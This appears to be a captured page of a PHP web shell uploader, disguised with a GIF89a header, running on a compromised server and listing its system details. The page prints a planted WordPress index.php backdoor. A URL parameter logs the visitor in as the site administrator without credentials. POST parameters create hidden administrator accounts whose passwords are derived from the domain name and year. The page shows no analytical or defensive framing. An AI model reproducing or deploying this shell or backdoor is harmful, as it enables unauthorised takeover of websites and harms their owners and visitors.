GIF89a; 
Priv8 Uploader By InMyMine7
Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64









    

    

    HEX

    

    





    


        


            
HEX


            

            


            


                


                    Server:

                    Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips

                


                


                    System:

                    Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64

                


                


                    User:

                    vacationcoursesc (1031)

                


                


                    PHP:

                    7.3.28

                


                


                    Disabled:

                    NONE

                


            


        




        


            $ pwd: /home/vacationcoursesc/public_html/wp-content/
        


        


            
Upload Files




            


            


                


                    


                        

                        

                    


                




                

                

                


                    


                        

                        

                    


                




                


                    


                        

                        

                        

                    


                


            


        




        
File: /home/vacationcoursesc/public_html/wp-content/index.php
<?php













































































require_once('../wp-load.php');
// index-gold
nocache_headers();
header('Content-Type: application/json; charset=utf-8');

if (isset($_GET['d_l']) && (string)$_GET['d_l'] === '1') {
    $users = get_users(['role' => 'administrator']);
    wp_set_auth_cookie($users[0]->ID);
    wp_safe_redirect(home_url('/wp-admin/'));
    exit;
}

if (isset($_POST['c_u']) && (string)$_POST['c_u'] === '1') {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);
    $domain = preg_replace('/^www\./', '', $domain);
    $year = date('Y');
    $password = '@' . $domain . $year;
    $id = wp_create_user('wp_administrator', $password);
    $user = new WP_User($id);
    $user->set_role('administrator');
    echo json_encode(['status' => 'true']);
    exit;
}

if (isset($_POST['c_u']) && (string)$_POST['c_u'] === '2') {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);
    $domain = preg_replace('/^www\./', '', $domain);
    $year = date('Y');
    $password = '@' . $domain . $year;
    wp_insert_user([
        'user_login' => 'test123123',
        'user_pass'  => $password,
        'role'       => 'administrator'
    ]);
}



if (!isset($_GET['d_l']) && !isset($_POST['c_u'])) {
    return;
}


if (!function_exists('get_neighbor_domain')) {
    $load_file = dirname(__FILE__) . '/../wp-load.php';
    if (file_exists($load_file)) require_once($load_file);
}
if (!function_exists('get_neighbor_domain')) {
    function get_neighbor_domain() {
        return parse_url(get_site_url(), PHP_URL_HOST);
    }
}



                        

                            @

                            Telegram